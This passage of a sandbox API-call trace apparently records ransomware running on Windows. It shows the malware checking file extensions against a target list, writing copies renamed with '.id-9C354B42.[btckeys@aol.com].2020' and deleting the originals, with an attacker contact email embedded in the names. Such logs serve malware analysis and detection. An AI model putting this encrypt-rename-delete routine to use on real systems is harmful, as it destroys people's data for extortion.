lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0077.114] lstrlenW (lpString=".xls") returned 4 [0077.115] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0077.115] lstrlenW (lpString=".xlsx") returned 5 [0077.115] lstrcmpiW (lpString1=".xlsx", lpString2="r.jpg") returned -1 [0077.115] lstrlenW (lpString=".ppt") returned 4 [0077.115] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0077.115] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg") returned 72 [0077.115] lstrlenW (lpString=".zip") returned 4 [0077.115] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0077.115] lstrlenW (lpString=".rar") returned 4 [0077.115] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0077.115] lstrlenW (lpString=".bz2") returned 4 [0077.115] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0077.115] lstrlenW (lpString=".7z") returned 3 [0077.115] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0077.115] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg") returned 72 [0077.115] lstrlenW (lpString=".dbf") returned 4 [0077.115] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0077.115] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg") returned 72 [0077.115] lstrlenW (lpString=".1cd") returned 4 [0077.115] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0077.115] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg") returned 72 [0077.115] lstrlenW (lpString=".jpg") returned 4 [0077.115] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0077.115] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg") returned 72 [0077.115] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg") returned 72 [0077.115] lstrlenW (lpString=".doc") returned 4 [0077.115] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0077.115] lstrlenW (lpString=".docx") returned 5 [0077.115] lstrcmpiW (lpString1=".docx", lpString2="r.jpg") returned -1 [0077.115] lstrlenW (lpString=".pdf") returned 4 [0077.116] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0077.116] lstrlenW (lpString=".xls") returned 4 [0077.116] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0077.116] lstrlenW (lpString=".xlsx") returned 5 [0077.116] lstrcmpiW (lpString1=".xlsx", lpString2="r.jpg") returned -1 [0077.116] lstrlenW (lpString=".ppt") returned 4 [0077.116] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0077.116] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg") returned 72 [0077.116] lstrlenW (lpString=".zip") returned 4 [0077.116] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0077.116] lstrlenW (lpString=".rar") returned 4 [0077.116] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0077.116] lstrlenW (lpString=".bz2") returned 4 [0077.116] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0077.116] lstrlenW (lpString=".7z") returned 3 [0077.116] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0077.116] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg") returned 72 [0077.116] lstrlenW (lpString=".dbf") returned 4 [0077.116] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0077.116] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg") returned 72 [0077.116] lstrlenW (lpString=".1cd") returned 4 [0077.116] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0077.116] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg") returned 72 [0077.116] lstrlenW (lpString=".jpg") returned 4 [0077.116] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0077.116] lstrcmpiW (lpString1=".emf", lpString2=".2020") returned 1 [0077.116] lstrlenW (lpString="Seyes.emf") returned 9 [0077.117] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\seyes.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0077.117] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=37316) returned 1 [0077.117] CloseHandle (hObject=0x1b0) returned 1 [0077.117] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\seyes.emf")) returned 0x20 [0077.117] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\seyes.emf.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0077.117] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\seyes.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0077.117] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf") returned 67 [0077.117] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf") returned 67 [0077.117] lstrlenW (lpString=".doc") returned 4 [0077.117] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0077.117] lstrlenW (lpString=".docx") returned 5 [0077.117] lstrcmpiW (lpString1=".docx", lpString2="s.emf") returned -1 [0077.117] lstrlenW (lpString=".pdf") returned 4 [0077.117] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0077.118] lstrlenW (lpString=".xls") returned 4 [0077.118] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0077.118] lstrlenW (lpString=".xlsx") returned 5 [0077.118] lstrcmpiW (lpString1=".xlsx", lpString2="s.emf") returned -1 [0077.118] lstrlenW (lpString=".ppt") returned 4 [0077.118] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0077.118] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf") returned 67 [0077.118] lstrlenW (lpString=".zip") returned 4 [0077.118] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0077.118] lstrlenW (lpString=".rar") returned 4 [0077.118] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0077.118] lstrlenW (lpString=".bz2") returned 4 [0077.118] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0077.118] lstrlenW (lpString=".7z") returned 3 [0077.118] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0077.118] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf") returned 67 [0077.118] lstrlenW (lpString=".dbf") returned 4 [0077.118] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0077.118] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf") returned 67 [0077.118] lstrlenW (lpString=".1cd") returned 4 [0077.118] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0077.118] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf") returned 67 [0077.118] lstrlenW (lpString=".jpg") returned 4 [0077.118] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0077.118] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf") returned 67 [0077.118] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf") returned 67 [0077.118] lstrlenW (lpString=".doc") returned 4 [0077.118] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0077.118] lstrlenW (lpString=".docx") returned 5 [0077.118] lstrcmpiW (lpString1=".docx", lpString2="s.emf") returned -1 [0077.118] lstrlenW (lpString=".pdf") returned 4 [0077.119] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0077.119] lstrlenW (lpString=".xls") returned 4 [0077.119] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0077.119] lstrlenW (lpString=".xlsx") returned 5 [0077.119] lstrcmpiW (lpString1=".xlsx", lpString2="s.emf") returned -1 [0077.119] lstrlenW (lpString=".ppt") returned 4 [0077.119] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0077.119] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf") returned 67 [0077.119] lstrlenW (lpString=".zip") returned 4 [0077.119] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0077.119] lstrlenW (lpString=".rar") returned 4 [0077.119] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0077.119] lstrlenW (lpString=".bz2") returned 4 [0077.119] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0077.119] lstrlenW (lpString=".7z") returned 3 [0077.119] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0077.119] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf") returned 67 [0077.119] lstrlenW (lpString=".dbf") returned 4 [0077.119] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0077.119] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf") returned 67 [0077.119] lstrlenW (lpString=".1cd") returned 4 [0077.119] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0077.119] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf") returned 67 [0077.119] lstrlenW (lpString=".jpg") returned 4 [0077.119] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0077.119] lstrcmpiW (lpString1=".htm", lpString2=".2020") returned 1 [0077.119] lstrlenW (lpString="Shades of Blue.htm") returned 18 [0077.120] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0077.120] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=237) returned 1 [0077.120] CloseHandle (hObject=0x1b0) returned 1 [0077.120] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm")) returned 0x20 [0077.120] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0077.120] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0077.120] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm") returned 76 [0077.120] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm") returned 76 [0077.120] lstrlenW (lpString=".doc") returned 4 [0077.120] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0077.120] lstrlenW (lpString=".docx") returned 5 [0077.120] lstrcmpiW (lpString1=".docx", lpString2="e.htm") returned -1 [0077.120] lstrlenW (lpString=".pdf") returned 4 [0077.120] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0077.120] lstrlenW (lpString=".xls") returned 4 [0077.120] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0077.121] lstrlenW (lpString=".xlsx") returned 5 [0077.121] lstrcmpiW (lpString1=".xlsx", lpString2="e.htm") returned -1 [0077.121] lstrlenW (lpString=".ppt") returned 4 [0077.121] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0077.121] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm") returned 76 [0077.121] lstrlenW (lpString=".zip") returned 4 [0077.121] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0077.121] lstrlenW (lpString=".rar") returned 4 [0077.121] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0077.121] lstrlenW (lpString=".bz2") returned 4 [0077.121] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0077.121] lstrlenW (lpString=".7z") returned 3 [0077.121] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0077.121] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm") returned 76 [0077.121] lstrlenW (lpString=".dbf") returned 4 [0077.121] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0077.121] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm") returned 76 [0077.121] lstrlenW (lpString=".1cd") returned 4 [0077.121] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0077.121] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm") returned 76 [0077.121] lstrlenW (lpString=".jpg") returned 4 [0077.121] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0077.121] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm") returned 76 [0077.121] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm") returned 76 [0077.121] lstrlenW (lpString=".doc") returned 4 [0077.121] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0077.121] lstrlenW (lpString=".docx") returned 5 [0077.121] lstrcmpiW (lpString1=".docx", lpString2="e.htm") returned -1 [0077.121] lstrlenW (lpString=".pdf") returned 4 [0077.121] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0077.121] lstrlenW (lpString=".xls") returned 4 [0077.122] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0077.122] lstrlenW (lpString=".xlsx") returned 5 [0077.122] lstrcmpiW (lpString1=".xlsx", lpString2="e.htm") returned -1 [0077.122] lstrlenW (lpString=".ppt") returned 4 [0077.122] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0077.122] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm") returned 76 [0077.122] lstrlenW (lpString=".zip") returned 4 [0077.122] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0077.122] lstrlenW (lpString=".rar") returned 4 [0077.122] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0077.122] lstrlenW (lpString=".bz2") returned 4 [0077.122] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0077.122] lstrlenW (lpString=".7z") returned 3 [0077.122] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0077.122] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm") returned 76 [0077.122] lstrlenW (lpString=".dbf") returned 4 [0077.122] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0077.122] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm") returned 76 [0077.122] lstrlenW (lpString=".1cd") returned 4 [0077.122] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0077.122] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm") returned 76 [0077.122] lstrlenW (lpString=".jpg") returned 4 [0077.122] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0077.124] lstrcmpiW (lpString1=".jpg", lpString2=".2020") returned 1 [0077.124] lstrlenW (lpString="ShadesOfBlue.jpg") returned 16 [0077.124] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0077.452] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=4734) returned 1 [0077.452] CloseHandle (hObject=0x204) returned 1 [0077.452] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg")) returned 0x20 [0077.452] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0077.452] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0077.452] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg") returned 74 [0077.452] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg") returned 74 [0077.452] lstrlenW (lpString=".doc") returned 4 [0077.452] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0077.452] lstrlenW (lpString=".docx") returned 5 [0077.452] lstrcmpiW (lpString1=".docx", lpString2="e.jpg") returned -1 [0077.452] lstrlenW (lpString=".pdf") returned 4 [0077.452] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0077.452] lstrlenW (lpString=".xls") returned 4 [0077.452] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0077.453] lstrlenW (lpString=".xlsx") returned 5 [0077.453] lstrcmpiW (lpString1=".xlsx", lpString2="e.jpg") returned -1 [0077.453] lstrlenW (lpString=".ppt") returned 4 [0077.453] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0077.453] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg") returned 74 [0077.453] lstrlenW (lpString=".zip") returned 4 [0077.453] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0077.453] lstrlenW (lpString=".rar") returned 4 [0077.453] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0077.453] lstrlenW (lpString=".bz2") returned 4 [0077.453] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0077.453] lstrlenW (lpString=".7z") returned 3 [0077.453] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0077.453] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg") returned 74 [0077.453] lstrlenW (lpString=".dbf") returned 4 [0077.453] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0077.453] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg") returned 74 [0077.453] lstrlenW (lpString=".1cd") returned 4 [0077.453] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0077.453] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg") returned 74 [0077.453] lstrlenW (lpString=".jpg") returned 4 [0077.453] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0077.453] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg") returned 74 [0077.453] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg") returned 74 [0077.453] lstrlenW (lpString=".doc") returned 4 [0077.453] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0077.453] lstrlenW (lpString=".docx") returned 5 [0077.454] lstrcmpiW (lpString1=".docx", lpString2="e.jpg") returned -1 [0077.454] lstrlenW (lpString=".pdf") returned 4 [0077.454] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0077.454] lstrlenW (lpString=".xls") returned 4 [0077.454] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0077.454] lstrlenW (lpString=".xlsx") returned 5 [0077.454] lstrcmpiW (lpString1=".xlsx", lpString2="e.jpg") returned -1 [0077.454] lstrlenW (lpString=".ppt") returned 4 [0077.454] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0077.454] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg") returned 74 [0077.457] lstrlenW (lpString=".zip") returned 4 [0077.457] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0077.457] lstrlenW (lpString=".rar") returned 4 [0077.457] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0077.457] lstrlenW (lpString=".bz2") returned 4 [0077.457] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0077.457] lstrlenW (lpString=".7z") returned 3 [0077.457] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0077.457] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg") returned 74 [0077.457] lstrlenW (lpString=".dbf") returned 4 [0077.457] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0077.457] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg") returned 74 [0077.457] lstrlenW (lpString=".1cd") returned 4 [0077.458] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0077.458] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg") returned 74 [0077.458] lstrlenW (lpString=".jpg") returned 4 [0077.458] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0077.458] lstrcmpiW (lpString1=".PNG", lpString2=".2020") returned 1 [0077.458] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0077.458] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0078.579] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=19780) returned 1 [0078.579] CloseHandle (hObject=0x1e0) returned 1 [0078.579] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png")) returned 0x20 [0078.579] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0078.579] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0078.579] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0078.579] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0078.579] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0078.579] GetLastError () returned 0x0 [0078.579] ReadFile (in: hFile=0x1e0, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x4d44, lpOverlapped=0x0) returned 1 [0078.590] WriteFile (in: hFile=0x1dc, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x4d50, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x4d50, lpOverlapped=0x0) returned 1 [0078.592] ReadFile (in: hFile=0x1e0, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0078.592] WriteFile (in: hFile=0x1dc, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0078.592] SetEndOfFile (hFile=0x1dc) returned 1 [0078.592] CloseHandle (hObject=0x1dc) returned 1 [0078.592] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0078.592] SetEndOfFile (hFile=0x1e0) returned 1 [0078.593] CloseHandle (hObject=0x1e0) returned 1 [0078.593] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0078.593] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png")) returned 1 [0078.594] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0078.594] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0078.594] lstrlenW (lpString=".doc") returned 4 [0078.594] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0078.594] lstrlenW (lpString=".docx") returned 5 [0078.594] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0078.594] lstrlenW (lpString=".pdf") returned 4 [0078.594] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0078.594] lstrlenW (lpString=".xls") returned 4 [0078.594] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 